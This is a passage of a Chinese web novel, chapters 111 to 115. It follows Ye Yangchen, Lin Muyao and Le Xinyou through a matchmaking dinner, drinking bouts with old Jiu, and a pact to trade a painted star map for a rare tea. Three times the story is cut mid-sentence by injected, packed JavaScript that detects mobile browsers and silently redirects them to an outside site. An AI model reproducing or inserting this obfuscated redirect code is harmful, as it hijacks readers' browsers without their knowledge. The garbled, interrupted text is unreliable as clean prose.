一旁的慕瑶有些羡慕心悠可以在一个时辰中做出这么多好吃的菜,不过她羡慕也是羡慕不来的,这种做菜的事与习文习武是一样的,总要多练习才能提升厨艺的,可她恰恰没有这种练习做菜的机会。在家的时候,慕瑶是偷偷去过几次厨房,可家里的厨娘和厨师要么怕她被烫到,要么怕她累着,就是不让她做。其实慕瑶也希望能做出一桌子好菜给心上人吃,哪怕只是偶尔。 叶阳晨还是决定先从熟悉的菜下手,他加了一块樱桃肉塞进嘴里,那细腻的口感,浓郁甜香的味道,顿时溢满口中。 叶阳晨的眼睛顿时一亮,嘴里含着未嚼完的肉说道:“这个怎么这么好吃啊?这是怎么做的啊?” 见到叶阳晨这么孩子气的一面,一向不爱笑的乐心悠也是止不住地掩嘴一笑。 叶阳晨接连下了几次筷子,把嘴塞得满满的。虽然读了那么多年的圣贤书,他还是那么没有吃相。与樱桃肉这种家常菜不同的是,很多菜的做法和样式甚至比宫廷御宴还要讲究,那是他从来没有吃过的。 九酒在一旁调侃道:“小晨,心悠对你可是真好,这里的有些菜我也很久没有吃到了。” 乐心悠能听出九伯的画外音,不觉蹙起蛾眉,玉颊也轻染嫣红。此时,她羞涩的脸上仍然带着一丝娇俏,让人见之生怜。 九老伯隐隐看出心悠的心思,于是继续玩笑道:“小晨,要我说你就别走了,住在竹海岂不逍遥?美景、美食、美酒都有,人生何其圆满!最重要的,这里还有我们心悠这么美的姑娘,难道你就一点不心动?她长得丰姿妍丽,菜又做得美味绝伦,这样的好姑娘哪里去找啊?” 话音一落,三个年轻都同时怔愣在那里。 112. 第一百十二章 最先惊愕的是慕瑶,她的心上人被老伯乱点了鸳鸯谱,她却什么都不能说不能做,这让慕瑶有些不知所措、心烦意乱。 叶阳晨觉得莫名其妙,这才刚认识不久,还只是一起吃了个饭,怎么老伯就给自己说亲了呢?他生怕慕瑶会生气,于是偷偷瞄了慕瑶一眼,她果然黛眉微蹙,一抹忧容在脸上久久化不开。叶阳晨心想:“这下糟了,一会儿还不知怎么哄媳妇呢。” 乐心悠更是心如撞鹿、五味杂陈,“九伯伯,你怎么没喝就罪了?不要乱说的。”心悠知道九伯是好意,可这种事突然当众说出来,令她羞得无地自容。 老人家眯眼笑着,“心悠,你也别害臊,你不好意思问出口的话,伯伯替你问也没什么的。” 说着,九老伯看向林慕瑶,“瑶瑶,你是小晨的妹妹,你是不是也觉得这是良缘一桩啊?” 被人突然问到,慕瑶期期艾艾道:“呃...这个...我......” 乐心悠赶紧接过话来,“九伯伯,你再胡说下去我就走了,今晚的饭我就不吃了。”九老伯再说下去的话,她就要找个地缝钻进去了。 九酒见心悠真的露出不悦之色,忙不迭道:“好好好,算我老头子说错话了,不说那个了,我们吃饭,吃饭。” 三个年轻人悬着的心这才放下,两个女孩的眉头也舒展开来。 九老伯往叶阳晨的竹杯里倒满酒,“小晨啊,你尝了菜,现在你再尝尝我的酒。” 叶阳晨在泽清山都是用大碗喝酒的,今天盛酒的容器却是个小竹杯,他也就没放在眼里,直接将酒一饮而尽。 九老伯想拦着,可已经来不及了,“小晨,我这个酒比较烈,不适合快着喝,否则容易醉的。” 叶阳晨用手背抹了抹嘴,“这酒还真是烈啊。”不过酒入口的那一刹那,叶阳晨就品出来这是极品佳酿,它酒体浓醇、口感细腻,回味悠长。叶阳晨觉得他喝过的最好喝的酒也比这酒逊三分,九老伯果然没有吹牛。 九老伯提起酒的话题就特兴奋,他得意道:“怎么样?我没骗你吧?” “老伯,你不愧有圣酒仙的称号啊!” “那都是江湖人乱叫的,这里只有酒老伯,来,我们喝酒。” 他们两人喝酒,慕瑶与心悠就在一旁吃菜。两个女孩的性情都恬淡如烟,含蓄内敛,所以她们交流不多,只是偶尔才会聊上几句。 起初,九老伯还想着叮嘱叶阳晨慢点喝,怕他喝醉了,可好酒之人喝起来就什么都忘了。老人家和叶阳晨频频碰杯,叶阳晨的酒量哪可能有九老伯好啊,而且他喝得又有点快,几杯下去就有点醉了。又过了一小会儿,人干脆直接趴在桌子上了。 慕瑶见状很是担心,忙不迭冲着乐心悠问道:“有解酒的药没有啊?” 心悠道:“我这就去拿。”她站起身微微瞪了九老伯一眼,“九伯伯,你看你把人家喝的,不是所有人的酒量都像你那么好的,你这是存心欺负他。” “确实是,这娃也太不是我的酒的对手了,这才不到三个回合就倒了。至于说我欺负他,可就冤枉我了,茫茫竹海,我好不容易找到一个酒伴,怎么可能放倒他?” 乐心悠微微抿了抿下唇,“我们两个女孩弄不动他的,你要帮我们把他背到我的书房去。” 喝了酒,九老伯的脚也有点软,他假装抱怨着:“下次不灌你小子了,喝醉了我还得背你。我也是个老头子了,背不动了。” 心悠不耐烦道:“九伯伯,你别发牢骚了,快点嘛。” 九老伯把叶阳晨背到屋子里去就离开了,乐心悠把解酒的汤药端来,慕瑶就一勺一勺地喂着叶阳晨喝下。 虽然乐心悠劝说林慕瑶回去休息,说叶阳晨喝了药后就不会有事的,但慕瑶还是不放心,寸步不离地守在他的床边。 至夜里丑时,叶阳晨口渴难耐,这才醒来。 慕瑶忧心道:“感觉怎么样?有没有不舒服?” “我的酒量一直很好的。” “别吹牛了,酒量好还不是喝醉了?” 叶阳晨苦笑着:“我哪知道那个酒的劲那么大啊?” 慕瑶没有继续说话,微微垂下眉眼,脸上浮现一抹忧色。 叶阳晨不解问道:“怎么了?怎么突然就不高兴了?” “今晚九老伯要给你说亲......” “老伯那人就是爱开玩笑,他是说着玩的,你不要往心里去。” 慕瑶喃喃说道:“我看不是说笑的,他是认真的。我觉得心悠好像也对你有好感似的。都怪你,非说什么我是你妹妹。” 叶阳晨狡黠一笑,“想不到我们的慕瑶有一天也会吃醋啊?” “谁吃你的醋啊?美得你。”这样的慕瑶确实是一反常态的,她也知道叶阳晨心里除了她不会再有别人,她更坚信叶阳晨对自己情比金坚。可那个乐心悠实在太漂亮、太优秀,慕瑶还是会有点莫名的醋意。这种情绪扰得慕瑶心绪难宁,她说出来也不是,不说也不是。总觉得说出来会让人觉得她很小心眼又很坏脾气,好像在无理取闹,可不说的话,憋在心里难受极了。刚刚叶阳晨还醉酒未醒,慕瑶就在那里自己跟自己闹别扭了。 叶阳晨继续坏笑着:“你现在理解我从前吃醋的感觉了吧?以前我因为有人纠缠你而大闹诗会,因为你父母给你说亲而不辞而别,当时你都觉得我在乱发脾气,无理取闹,对吗?” 叶阳晨不提起往事,慕瑶还真忘了这些事了,她到了此刻才明白,原来有时生气、懊恼、郁闷都是因为在乎,原来易地而处,自己在面对感情时也无法做到潇洒地置身事外,原来有一天她也会因吃醋而丢了“风度”。 慕瑶抿嘴柔声细语道:“我的情况好像和你的不太一样。” “有什么不一样?不都是不希望我们的世界里闯进其他人吗?” “你那么笨,不会明白的。”其实慕瑶是想说,自己的那些“追求者”远不如叶阳晨优秀,而心悠就不一样到了,她是那种才貌双全、蕙质兰心,近乎到完美的女孩子。不过她转念一想,好像吃醋与吃醋的对象是否优秀无关。 叶阳晨伸出手去,轻抚着慕瑶的脸颊,“小傻瓜,别再去多想了,过几日我们就离开这儿了,我的心里只有你,你的心里也只有我,你我之间便再没有其他任何人。我承认乐心悠很优秀,还比如我的师妹温映雪甚至更优秀。一生悠长,我和你都会遇到比彼此更优秀的人,但是遇到了就见异思迁吗?试问,你会是这样的人吗?” “我当然不是。”慕瑶的心里话脱口而出。 “你不是,那我就是三心二意的人吗?”叶阳晨苦笑,“我可是很专情的。” 叶阳晨抿了抿下唇,脸上露出有些理亏神色。 叶阳晨继续暖心说着:“瑶儿,这个世界不只有一见钟情,还有日久生情。人总是要讲感情的,我不会因为谁优秀就更喜欢谁,因为岁月里培养出的感情抵得过岁月的漫长,更加坚不可摧。慕瑶,我喜欢你,早已不是因为你的美貌和才华,而是因为你是那个陪我长大的女孩。” 叶阳晨的最后一句话令慕瑶安心下来,毕竟她算是陪着叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13318246|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳晨自小一起长大的,这种情分一般人是比不了的。 慕瑶的脸色终于恢复了往日的柔和,“你今天的嘴怎么像抹了蜜一般呢?从前你不会说这么多好听的话。其实我不是不相信你,我只是......” “我都懂,只是因为在乎,对吗?”平日里的叶阳晨并没有这么“聪明”,只因这种吃醋的感觉她也曾有过,所以更能理解慕瑶此刻的心情罢了。 听了叶阳晨说了这些“哄”自己的话语,她心中的那片乌云完全散去了。其实她本就不是那么小心眼的女孩,或许她只是想从叶阳晨那里听到几句宽慰的话吧。 慕瑶垂下眉眼,轻咬住下唇,嘴角勾起一抹笑意。 叶阳晨温柔道:“好了,你也陪了我半宿,肯定很疲累了,还是早点回去睡吧。你的病刚刚好些,不要再病倒了。” 慕瑶站起身,“那好吧,你也继续睡吧。”慕瑶走了几步,回头冲着叶阳晨娇媚一笑,叶阳晨回以同样的暖笑。 翌日一早,叶阳晨比慕瑶先醒来。昨夜慕瑶本来就在下半夜才睡,回去后回想叶阳晨对自己说的话又欣喜了许久,直到天破晓才睡着。 昨晚光顾着喝酒,叶阳晨没吃太多东西,早上起床后觉得很饿,就去厨房找吃的。正巧,乐心悠正在那里忙碌着。见是叶阳晨进来,她眼神有些闪躲,重新盯着灶上煮着的粥。迟疑片刻,心悠还是问道:“感觉好些了吗?” “呃,好些了,昨夜就是喝得太快了些。” “一会儿粥熬好了,你吃一碗,腹里就会舒服许多的。”或许两人在这个空间独处,或许是心悠担心叶阳晨,她说话的声音比平日稍稍低柔了些。 “昨晚的菜还有没有剩一点?那些菜我还想吃。” 乐心悠温声道:“还有一些,我一会儿给你热一下。” 叶阳晨干脆搬来一把小竹椅,耐心地等着。 两人都沉默着,乐心悠用勺子搅着罐子里的粥,有些心不在焉,“那个...昨晚九老伯乱说过的话...你不要多心,也不要介意。他那个人就是那样爱胡言乱语的,有时醒着像是醉着,有时醉着也似醒着。” 叶阳晨怔了一下,才明白乐心悠指的什么,他急忙说道:“没有,我不会放在心上的。”叶阳晨不是个爱自恋的人,尽管他一直有自恋的资本。实际上叶阳晨也觉得昨晚的事就只是九老伯在一厢情愿撮合自己和乐心悠,而乐心悠对自己并没有什么多余的好感。至于慕瑶吃醋了,也纯属“庸人自扰”。 听叶阳晨这样说,乐心悠手里的竹勺一顿。她是怕叶阳晨因为九老伯的话感到不快,所以才解释。可叶阳晨真的说了没放在心上,她的心里反而生出一丝丝失落来。 叶阳晨岔开话题问道:“那个九老伯住在什么地方,你这里好像很少有住家的,我来的时候没有看见周围还有房子啊。” “哦,老伯住在我们这个院子的后面不远处的一个小院,但还要从前门绕一下路,所以你才没有发现。” 叶阳晨追问着:“我可不可以冒昧问一下,九老伯怎么会在这里隐居呢?我接触的人中,爱酒之人多喜欢热闹,而且他在江湖上那么有名望,我是说他住在这么僻静的地方又怎么会习惯呢?” 乐心悠语气温平,“具体的原因我也不清楚,我只知道他与我师父是最要好的朋友。当年我师父搬来这里的时候,他就跟着搬来了,从此以后九老伯就再也没有离开过这里。” “你师父?” 乐心悠突然转过头来,“你不是要找水茗无尘吗?你找的人就是我的恩师。” 113. 第一百十三章 叶阳晨眼睛一亮,惊喜道:“原来你就是水茗无尘的弟子,那我怎么没看见您的师父呢?” “师父她...过世好多年了。”心悠的语气里带着一抹伤感。 “很抱歉,我勾起你的伤心往事了。” “没什么,不知者不怪。” 叶阳晨犹豫着问道:“水茗无尘不在了,那你可不可以......” 心悠脱口而出,“不可以。” “我的话还没说完呢,你就知道我要说什么?” “你昨日吃饭时不是已经说过了?” 听到乐心悠拒绝,叶阳晨不禁皱起眉头,他是有些失望的,更怕慕瑶会失望。没想到走了这么远的路,又耽搁了这么多天,想要到碧微沧澜竟还是这么难。 见叶阳晨一脸失落,乐心悠心有不忍,隔了片刻,她低声细语道:“碧微沧澜在我眼中是无价的,但饶是这样,送给朋友我还是愿意的,只是我的师父临终有遗言,不准将它送与任何人。我想你一定能理解,我这个做徒儿怎能违背她老人家的遗言?除非……” “除非什么?”叶阳晨好像看见一丝希望。 “算了,没什么,你还是当我没说过吧。” “除非什么?你告诉我,只要是我能做到的,我都答应。”叶阳晨不肯放过这一点点的希望。 “说了也没用的。”心悠咬着下唇说道。 “你说说看嘛,快说说。” 乐心悠怎么都拗不过叶阳晨,于是说道:“师父说只有当我出嫁的那一天...那茶可以破例给我当嫁妆......” 心悠的话似乎没有说完,可叶阳晨还是听明白了话里的意思,只是他觉得有些尴尬,因为他刚才还信誓旦旦说尽力“答应”心悠的要求,可这件事偏偏是他做不到的。 叶阳晨一时不知该说些什么,但他又很怕心悠误会,怕她多想,于是委婉说道:“心悠,我突然想起来,之前有一件事我做得不好,没有与你讲实话,你能原谅我吗?” 乐心悠心中一颤,不知叶阳晨是瞒了什么,猜测之下心里有一点不安。 叶阳晨接着说道:“其实慕瑶不是我的表妹,而是我未过门的妻子。” 话音刚落,这次乐心悠感觉到心里像是被什么撞击了一下,有一点点痛。她很快反应过来,怪不得慕瑶看叶阳晨的眼神总是脉脉含情,怪不得叶阳晨只是醉个酒,慕瑶就守在旁边寸步不离。现在想来,慕瑶的种种表现,确实不是一个妹妹对哥哥的正常行为,还是自己当事者迷了。 叶阳晨是怕生出不必要的麻烦,所以才急着解释来灭火,算是防患于未然。但是解释完了,他有点后悔,这些话显得有点刻意,好像他在自作多情似的。叶阳晨又补充说道:“心悠,你别误会啊,我说这些没别的意思只是快要离开这里了,所以走之前还是想坦诚相告。” 乐心悠哪能不明白叶阳晨的意思,他这么说,只是不想两人都尴尬罢了。但是听到叶阳晨说要走了,她的难过又平添了几分。 虽然叶阳晨的话说得很隐晦,也留有余地,但心悠的脸颊还是渐渐红润发烫起来,她怕被叶阳晨看出来,连忙说道:“粥好了,可以喝了。” 乐心悠给叶阳晨盛出一碗来,递给了叶阳晨。她正要往出走,叶阳晨问道:“心悠,你不吃吗?” “哦,我不饿,你吃吧。” 乐心悠走出了厨房,去了茶园。从小到大,她只要心情不好,就会去茶园坐坐,然后心情就会愉悦起来。可今天这个办法也失灵了,她在那儿坐了好一会儿,漫山的绿色还是不能平复她的心情。 师父的墓地也在这个茶园里,心悠跪在师父的墓前,呢喃着:“师父,徒儿谨遵您的教诲,一直守着这片茶园,可是前些日子有外人闯进来了...我...我......”剩下的话,当着师父的面,她说不出口了,不过乐心悠心想,她的心思师父她老人家一定也都看得见的。 其实乐心悠只是想同师父诉诉心事罢了,实际上她自己也清楚的,一切都不会有所改变。 这边叶阳晨吃完粥,就端了一碗去了慕瑶住的房间,他走进去时,恰好慕瑶刚刚醒来。叶阳晨暖心问道:“睡得怎么样?” 慕瑶柔婉答道:“没有睡饱,但是总要起床了,这毕竟是在人家做客,总不好睡到日上三竿的。” “吃点东西吧。” 叶阳晨正要喂她,慕瑶娇声道:“我病好了,可以自己吃了。” “那你小心烫。”叶阳晨叮嘱着。 慕瑶樱唇微张,小口小口地吃着。 叶阳晨对慕瑶说道:“瑶儿,我早上问了乐心悠,得知水茗无尘原来是她的师父。” 听到此话,慕瑶微微愣住,舀粥的勺子突然停在,“原来如此,怪不得昨晚我们说出此行目的时,心悠的脸色有些微妙的变化。” “我还没说完呢,水茗无尘早就过世了,她生前留了话,不得将碧微沧澜送给任何人。我看既然没了希望,不如这两天我们就上路回泽清山吧。你为了孝顺父母,也尽力了,我讲给父母听,他们肯定也会感动你有这样的孝心的。”叶阳晨没敢告诉慕瑶碧微沧澜是乐心悠的嫁妆,他怕说了后又惹得慕瑶多想。 林慕瑶努着嘴,“事情总有办法的,你不能遇到点困难就退缩啊。何况我来这里是真的要拿到茶叶回去孝敬父母的,不能因为父母感动了,领心意了,我就半途而废的。” 叶阳晨看着慕瑶的表情,就知道这丫头的倔脾气又上来了。他也不再多劝,心想她自己试了不行,到时候自然也就放弃了。 用过早饭,慕瑶就想去找乐心悠再聊聊,看看有没有既不需要心悠违背师父遗言,自己也可以要点茶叶的折中办法,只是她没找到人。慕瑶觉得叶阳晨在旁边,有些话她反而不好与乐心悠说,于是就让他不要跟自己待在一块儿。 慕瑶索性就坐在院子里的草坪处,耐心等着心悠从外边回来,顺便拿着竹子喂两只小熊吃。 慕瑶与小熊玩得正开心,就听身后有人柔声道:“看来这两个小家伙还挺喜欢你的。” 林慕瑶转过头,见是乐心悠站在那里,“它们是从哪儿来的?” “哦,说来也巧,几个月前,它们两个在竹林里受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13336310|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了伤,被我路过时发现了,我就把它们带回了家。” 林慕瑶嫣然一笑,“它们有名字吗?” “我给它们两个都起了名字,那个黑眼圈大一点的叫做‘丸丸’,那个眼圈小一点的叫做‘圆圆’。” “心悠,我正有一件事找你,我们聊聊好吗?” “好啊,还是关于要碧微沧澜的事吗?” 林慕瑶点头,“是的,我哥哥早上与我讲了,说水茗无尘大师遗命,我们也不好强人所难......” 乐心悠打断道:“慕瑶,你就不要再瞒着我了,阳晨不是你的哥哥,他是你的心上人。” 慕瑶面色一滞,支吾道:“你...是...怎么知道的?” 心悠脸上依旧平静柔和,“是阳晨告诉我的。” “他告诉你的?”慕瑶心里暗气,“这个家伙,说了也不告诉自己一声。” 乐心悠抿着唇点了点头。 慕瑶掩去尴尬,又回到了刚才的话题,直言道:“心悠,如果想得到碧微沧澜还有没有其他的办法?当然,我不想让你为难。” “没有的。师父临死前叮嘱了我好几次,我也很抱歉,希望你能理解吧。”乐心悠如今知道了林慕瑶与叶阳晨的关系,自然不会再提茶叶做嫁妆的事了。 这个结果慕瑶早就料到了,所以听心悠那么说也不意外,她平静道:“若是我为你做一件事,作为交换呢?” “一来我没有什么所求之事,二来我同样不能因为自己的事而违背师命的,除非是师父她老人家的未了心愿才行。” 慕瑶沉思片刻,抱着一线希望问道:“心悠,我在这里住了几日,发现您的书房里有一面墙涂着星空蓝的颜色,我冒昧一问,是想画星空图吗?那是未完成的星空图吗?” “你看出来了?你竟然猜出来了?” “我对夜空星图略有所知,应该能画绘一二。” 乐心悠听之心里一喜,她清楚师父生前一直就个心愿,就是希望在书房里画一幅星空图,这样就可整日看到星空的美景,只是没有这方面知识的人是做不到的。 乐心悠记得自己很小的时候就经常见师父神情忧伤地站在那面墙前面发呆,每次都要发呆一两个时辰。有一天心悠问师父在做什么,师父便说曾经有个人许诺她说,有朝一日,要带着她在旷野、在海边、在山顶,在一切静寂之处仰望星空,只是很遗憾,后来那人食言了。师父虽然没有明说,但心悠知道,师父一直没有忘记那个承诺,甚至耿耿于怀了许多年。 乐心悠不由得想:“若是慕瑶能画出星图,也算了了师父多年的心愿,那样师父在九泉之下也能瞑目了。”她相信用星空图交换碧微沧澜,师父泉下有知是不会怪罪自己的。即使师父怪自己,她也要帮师父弥补这个遗憾。 想到这里,乐心悠微微欣悦道:“慕瑶若能画出周天寰宇的星空图,我倒可以把碧微沧澜相赠,不过你要画得全画得好才行。” 慕瑶点点头,“我尽力而为,如果我做不到,也便不会再提茶的事了。” “一言为定,我也决不食言。” 114. 第一百十四章 斟酒杯已不省人事 这边与心悠聊完了,慕瑶很高兴,急着将这新消息告诉叶阳晨。 叶阳晨刚刚听到这个消息也很高兴,随即他还是担心问道:“瑶儿,《星天物语》那本书你没有带在身上,你记得住书里的内容吗?还能画出完整的星座图吗?” “就是这个问题,可也没有别的办法,只能一试了。让我好好回忆回忆,应该还是有几成把握的。”慕瑶刚刚答应乐心悠时,心里也有些没底。实际上,那本书她只完完整整地看过一遍,还是古野师父来西关看自己的那年读过的,时间距现在也很久了,很多东西她都忘了。 当天晚上,九老伯又来翠烟阁“蹭饭”了。心悠做的菜虽然没有像昨日那么丰盛,但总归还是多做了几个。 只要有九老伯的地方,自然少不了酒,只不过叶阳晨这次不敢再喝得太快了。 吃饭的时候,叶阳晨突然问道:“九老伯,我想求你一件事。” “怎么吞吞吐吐的?有事就说。”九酒老伯已经或多或少猜到叶阳晨要说什么,他一个隐居的闲散人,能有什么值得别人相求的,恐怕只有他的宝贝酒了。 “我想离开竹海的时候能不能带走你酿的一坛子苍筤醉啊?我的师父和父亲都是好酒之人,我想让他们尝尝这世间最香醇的酒。他们爱酒,自然不会糟蹋了这稀罕之物。” 九酒捋了捋花白的胡须,眯眼笑道:“嗨!你也别好听的话哄我开心,我的酒和心悠的茶一样,都不轻易送人的。” “当真一点可能性都没有吗?” 九酒眼睛一转,笑得意味深长,“也不是一点可能都没有的,至少得到我的酒总还是比得到心悠的茶容易一些的,只要你努力。” “怎么做才行?怎么努力?”叶阳晨一脸兴奋地看着九老伯。 老人家仰头大笑,“那就是喝赢我,如果你跟我拼酒,我先倒下,那么我就赠你一坛子酒。” 听完老人家说的话,叶阳晨真是哭笑不得。这九老伯喝酒就像喝水似的,要想喝赢他,叶阳晨觉得自己还需向天再借五百年的时间吧。 乐心悠冲着九老伯翻了个白眼,接话道:“阳晨,你不要听他的,也不要跟他拼酒。九伯伯恨不得每天泡在酒缸里,你是不可能喝过他的。” 九老伯笑得别样得意,“小晨,你若是怕了,你就像心悠说的,不要比了,我这个人是不喜欢强人所难滴。” “不,我要比,从小到大,我还没在什么事上认输过呢。”叶阳晨觉得如果茶和酒都给家人带回去,他们一定会更开心的。想到这些,叶阳晨还是决定试上一试。 “好小子,我就喜欢你的气魄。你真的要加油,我很看好你的。” 心悠不悦地看向老人家,“九伯伯,我不送他们茶是因为师父留了话,我不得不遵从。可你凑什么热闹啊?之前你酿新酒,不知试了多少次,砸了多少坛子,现在送阳晨一坛子怎么了?” 九老伯胡子一翘,“哎呦,你个臭丫头,果然是女生外向啊。你不能把自己的茶当宝贝,把我的酒当破烂啊。” 一句女生外向,还是令心悠的面颊一红,“你少胡说了,你当我不知道你为何提出这样的条件才肯送酒吗?” 九老伯脸上有些心虚,“我没什么目的,这就是...我这边的规矩。” 叶阳晨和林慕瑶面面相觑,他们自然是不知道九老伯与心悠的话里有什么玄机的。实际上真是原因也很简单,就是因为九老伯想让叶阳晨好好陪他痛快地喝一回。 这些年,九酒居住在竹海里,虽然生活逍遥自在、无拘无束,但对他而言唯一的遗憾就是找不到人陪他喝酒。爱酒好酒的人都知道,要同别人举杯碰杯才是人生乐趣,否则怎么会有“酒逢知己千杯少”这句话呢? 可竹海里实在没什么人与九老伯共饮,很长一段时间里,竹海里只有心悠一个人陪在九老伯身边,而心悠的酒量又不好,她又不喜欢喝酒,只有过年过节的时候,心悠才会迁就一下老人家,陪着九老伯饮上一小杯,所以更多时候九酒只能自己喝闷酒。有时九老伯独酌烦了,就会喝酒的时候在桌子对面再摆一个酒杯,好像有人陪他喝一般。 现在叶阳晨来了,九老伯可算找到了个活人陪自己喝酒。可他还是觉得不够尽兴,他实在想痛痛快快喝醉一回,那种感觉他好久没有过了。只是在九老伯心中,饮酒是一件雅事,是全凭自愿的,是不能被强迫的,所以他自然不会劝叶阳晨多喝酒,更不会逼叶阳晨喝醉。可如果叶阳晨是有求自己的话,那么就会“全力以赴”跟自己喝,这就是九伯的心思。 慕瑶很想劝叶阳晨不要喝太多酒,那样伤身体,可见叶阳晨一副志在必得的样子,她抿了抿唇,咽回去了想说的话。当晚叶阳晨就喝醉了,比上次醉得更甚,而九老伯则是满面红光带着满足的笑容离开的,这老头一点事都没有。 那晚,慕瑶又一宿没睡,就守在叶阳晨身边。叶阳晨清晨醒来时,见慕瑶都是黑眼圈,他心疼极了。后面几日,他都不敢在翠烟阁喝酒了,都是去九老伯的住处去喝。喝醉了,也就睡在那儿,慕瑶看不见,也不知道叶阳晨的情况,自然也就少了几分担心。 不过慕瑶也没闲着,她整日待在书房里画着星图。她当然是不能直接在墙上画的,那样画错了会很麻烦。慕瑶准备先在草纸上画,画完确认无误后,才会最后上墙。 果然,动笔后,慕瑶才发现自己忘了很多,比如有的星座内的亮星位置记不清了,有的星图的形状忘记了,还有的星与星之间的线连错了。好在慕瑶的记性特别好,大部分可以靠回忆想起来,有的实在想不起来,她就会夜里站在院子里观察一下来确认。 看着慕瑶每日那样废寝忘食地画着,看着散落在地上的那些精美画稿,乐心悠实在是敬佩,她终于明白了为何叶阳晨会深爱林慕瑶,这个女孩确实不简单,称得上才华横溢、出色至极。 叶阳晨都几日未回了,乐心悠还是有些担心他,于是就去九伯的住处去看一看。走进小院,她先闻到的是浓浓的酒气,心悠打心底不太喜欢这种气味,她还是觉得茶香馥郁。 心悠刚走进九老伯的厅屋,更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369595|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浓重的酒味扑面而来,心悠掩住鼻子,“你们这是喝了多少啊?”她说完话这才环顾屋内,更令她惊愕的一幕出现了。 叶阳晨与九老伯都歪躺在罗汉床上,床榻的小几上摆满了酒瓶子和酒罐子,个别喝完酒罐子倒着,还有残留的酒液滴出来。地上也都是酒罐子,一时数不清楚个数。乐心悠分不清楚这些酒是两人多日喝完的,还是昨夜一次喝完的。 九老伯本就没有醉,一听有声音就睁开了眼,“呦,是心悠来了......” 叶阳晨是真的喝醉了,所以睡得太实,他都不知道有人进来。 见叶阳晨喝得人事不省的,乐心悠黛眉微蹙,心里有点埋怨九老伯,“你们两人怎么喝成这样啊?九伯伯你就不能轻点灌他啊?” “昨夜的酒喝得真痛快,我和小晨一直喝到天亮。你别说,这才喝了几日啊,这小子的酒量蹭蹭见长。” “好啦,今晚我不准你们俩再喝了,一会儿阳晨醒了,你就带他回来。我晚上熬点鸡汤,你们俩都养养。”说完,心悠转身离开,走到门口的时候,她转头说道,“一定记得准时回来啊。我再说一遍,还有就是今晚你不能再带酒来。” “好啦,别啰嗦了,我知道了。”说着,九老伯又躺了下去,一条腿搭在另一条腿上,晃动着熊掌一般的脚丫子,嘴里还小声念叨着,“唉,你师父活着的时候就喜欢管着我,她走了,又换做你这小丫头管我,我真命苦呦。” 晚饭的时候,叶阳晨与九老伯准时回来了。吃饭的时候,慕瑶娇嗔道:“阳晨,你的脸色不太好看,就少喝一点嘛。” “没事,我就快把九老伯喝倒了,相信我,就这一两天。” 叶阳晨没有刻意压低声音,所以九老伯听到了他说的什么。九老伯假装吹胡子瞪眼,“小子,你不要太狂,要喝过比过才知道的。” 叶阳晨捧着碗,一口气喝下一大碗汤,“心悠,这鸡汤可真好喝,我还要一碗。” 乐心悠安静地接过碗,又去给叶阳晨舀了一碗。 叶阳晨怕慕瑶再劝自己少喝酒,于是转而问道:“瑶瑶,你的星图画得怎么样了?” “再有两日应该差不多了吧。” 叶阳晨莞尔,“就这么有信心?” 慕瑶柔语轻声,“我哪有信心啊?我的心七上八下的。” 九老伯在一旁听得有点糊涂,“你们两人在说什么呢?” 林慕瑶声音柔美,“老伯,我画了一幅画,过几日我画好了请你来赏鉴。” 九老伯仰头一笑,“你这女娃勾起我的好奇心了,到时候我一定好好看看。” 吃过饭,慕瑶就又进书房去画她的星图去了,她之所以这么着急,主要是想早日回泽清山。回了泽清山后,才能早日赶回楚州前线。这次因为自己离家出走的事,因为自己要回泽清山看公婆,因为自己要来竹海,这一桩桩一件件事都耽搁叶阳晨回战场前线的时间了,慕瑶始终会有些过意不去,毕竟现在不是玩的时候。在竹海也耽搁好些日子了,她不能再不抓紧时间了。 115. 第一百十五章 饭也吃完了,阳晨准备继续去九老伯的家去住。首先慕瑶把他住的书房“霸占”了,他没地方睡了,加上他也不想打扰慕瑶,想着还是去九老伯那里住自在一些。 他们刚走出二门,叶阳晨就听身后乐心悠在叫自己。 乐心悠快走了两步,来到叶阳晨跟前,“你们今晚回去真的不要再喝了。” 叶阳晨保证道:“放心吧,今晚肯定不喝了。我养养精神,找找状态,明天晚上跟九老伯来个最终决战。” 听叶阳晨这么说,乐心悠直接翻了个白眼,然后冲着九老伯说道:“九伯伯,你先回去,我还有几句话要与阳晨说。” 九老伯撇撇嘴,“你们年轻人还要说悄悄话,还不让我听。” 心悠的嗓音高了些,“你快走嘛。” “好好,我走,我马上走。” 待九老伯走远,乐心悠低声对叶阳晨说道:“我给你拿点解酒的药,你提前吃下去,这样再去喝酒就不容易醉了。” “那不成作弊了?大丈夫怎么能做得那么不光明磊落呢?” 